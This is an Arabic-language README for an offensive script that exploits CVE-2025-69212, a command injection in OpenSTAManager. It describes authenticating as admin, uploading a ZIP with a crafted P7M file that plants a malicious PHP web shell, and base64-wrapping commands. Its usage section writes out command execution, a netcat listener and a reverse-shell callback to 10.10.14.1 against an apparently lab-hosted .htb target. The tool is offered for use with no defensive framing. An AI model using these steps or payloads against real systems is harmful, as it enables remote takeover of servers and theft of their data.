CVE-2025-69212 - استغلال حقن أوامر P7M في OpenSTAManager

سكربت استغلال آلي بالكامل لثغرة CVE-2025-69212، وهي ثغرة حقن أوامر في OpenSTAManager. يقوم السكربت بالمصادقة باستخدام بيانات اعتماد المسؤول، وينشر قشرة ويب PHP خبيثة عبر ملف P7M مُصمم داخل أرشيف ZIP، ويتيح تنفيذ الأوامر أو الحصول على قشرة عكسية.

الميزات

• مصادقة آلية.
• إنشاء ورفع أرشيف ZIP خبيث (حقن invoice.p7m).
• تغليف الأوامر بـ Base64 لتجنب مشاكل الأحرف الخاصة.
• وسيطات لتنفيذ أمر واحد أو الحصول على قشرة عكسية.

الاستخدام

python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -r <LHOST> <LPORT>

أمثلة:

تنفيذ أمر واحد:

python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -c 'id'

الحصول على قشرة عكسية:

# Start your netcat listener in another terminal:
nc -lvnp 4444

# Run the exploit:
python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -r 10.10.14.1 4444